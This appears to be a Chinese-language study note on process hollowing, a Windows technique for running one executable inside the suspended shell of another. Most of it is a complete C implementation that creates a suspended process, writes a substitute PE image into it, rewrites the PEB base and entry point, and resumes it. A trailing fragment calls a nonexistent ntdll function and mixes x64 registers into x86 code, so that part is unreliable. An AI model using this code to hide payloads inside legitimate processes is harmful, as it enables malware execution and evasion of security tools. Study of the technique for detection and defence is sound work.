Process Hollowing(傀儡进程)
0x00 环境
主机:Windows 10
IDE:VS 2019 (x86)
0x01 介绍
傀儡进程指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。在早期的木马程序中使用较广。实现傀儡进程必须要选择合适的时机,要在目标进程刚加载进内存后还未开始运行之前替换。
0x02 基本步骤
1.使用CreateProcess()函数创建挂起进程
2.使用GetThreadContext()函数获取进程上下文(寄存器状态)
3.清空目标进程(如果傀儡进程的大小必目标进程小的话这部可以省略)
4.VirtualAllocEx()重新分配空间,大小为傀儡进程大小
5.WriteProcessMemory()向分配的空间写入傀儡进程
6.恢复上下文,由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到SetThreadContext函数。将挂起的进程用ResumeThread函数释放运行。
0x03 具体代码
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <malloc.h>
int main(int argc, char* argv[])
{
STARTUPINFOA stSi = { 0 };
PROCESS_INFORMATION stPi = { 0 };
stSi.cb = sizeof(stSi);
LPCWSTR Filename = (LPCWSTR)L"目标进程完整目录";
//1.创建挂起的目标进程
if (!CreateProcess(Filename,
NULL,
NULL,
NULL,
NULL,
CREATE_SUSPENDED,
NULL,
NULL,
&stSi,
&stPi
))
{
printf("%d", GetLastError());
return FALSE;
}
PTCHAR address = L"傀儡进程完整目录";
HANDLE hFile = CreateFile(address, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Open EXE File Filed");
printf("%d", GetLastError());
return -1;
}
DWORD dwSize = GetFileSize(hFile, NULL);
LPBYTE pAllocPE = NULL;
PBYTE pBuf = (PBYTE)malloc(dwSize);
DWORD dwBytesRead = 0;
ReadFile(hFile, (LPVOID)pBuf, dwSize, &dwBytesRead, NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew);
//2.获取进程上下文
CONTEXT stThreadContext;
stThreadContext.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
{
printf("CreateProcess failed (%d).\n", GetLastError());
return FALSE;
}
////3.清空目标进程
//BOOL UnMapTargetProcess(HANDLE hProcess, CONTEXT * stThreadContext)
//{
// DWORD dwProcessBaseAddr = 0;
// if (ReadProcessMemory(stPi.hProcess, (LPCVOID)(stThreadContext.Ebx + 8), &dwProcessBaseAddr, sizeof(PVOID), NULL) == 0)//读取目标进程对应地址
// {
// return FALSE;
// }
// HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));//获取dll的句柄
// if (hNtModule == NULL)
// {
// return FALSE;
// }
// //手动寻找NtUnmapViewOfSection()的指针
// ZwUnmapViewOfSection pfnZwUnmapViewOfSection = GetProcAddress(hNtModule, "ZwUnmapViewOfSection");
// if (pfnZwUnmapViewOfSection == NULL)
// {
// return FALSE;
// }
// return (pfnZwUnmapViewOfSection(stPi.hProcess, (PVOID)dwProcessBaseAddr) == 0);
//}
//4.重新分配空间
void* lpAddr = VirtualAllocEx(stPi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);//用Imagebase为起始地址避免了重定位。
if (lpAddr == NULL)
{
printf("VirtualAlloc failed (%d).\n", GetLastError());
return FALSE;
}
//5.写入傀儡进程
// 替换PE头
BOOL bRet = WriteProcessMemory(stPi.hProcess,
lpAddr,
(LPCVOID)pBuf,//指向要写的数据的指针。
pNtHeaders->OptionalHeader.SizeOfHeaders,
NULL);
if (!bRet)
{
return FALSE;
}
// 替换节
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf
+ pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIndex = 0;
for (; dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
bRet = WriteProcessMemory(stPi.hProcess,
(LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress),
(LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
NULL);
if (!bRet)
{
return FALSE;
}
lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
}
//6.恢复现场并运行傀儡进程
// 替换PEB中基地址
DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
bRet = WriteProcessMemory(stPi.hProcess, (LPVOID)(stThreadContext.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
if (!bRet)
{
return FALSE;
}
// 替换入口点
stThreadContext.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
bRet = SetThreadContext(stPi.hThread, &stThreadContext);
if (!bRet)
{
return FALSE;
}
ResumeThread(stPi.hThread);
printf("PID: %d", stPi.dwProcessId);
free(pBuf);
return 0;
}
0x04 参考链接及反思
本文有参考以下链接文章:
傀儡进程技术实现
常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)
反思:
1.本次学习了一些WIN API,不过对于未文档话的函数NtUnmapViewOfSection调用还是有点问题。
2.创建出来的目标进程的PID在任务管理器中看不到感觉有点奇怪。
typedef LONG(NTAPI NtUnMapTargetProcessPtr)(HANDLE hProcess, CONTEXT stThreadContext);
HMODULE hNtdll = LoadLibraryA("ntdll.dll"); if (hNtdll == NULL) { printf("无法加载 ntdll.dll 库\n"); return 1; } NtUnMapTargetProcessPtr NtUnMapTargetProcess = (NtUnMapTargetProcessPtr)GetProcAddress(hNtdll, "NtUnMapTargetProcess"); DWORD dwProcessBaseAddr = 0; if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rbx + 8), &dwProcessBaseAddr, sizeof(PVOID), NULL)) { printf("ReadProcessMemory failed %lu\n", GetLastError()); return 1; } NtUnMapTargetProcess(pi.hProcess, (PVOID)dwProcessBaseAddr);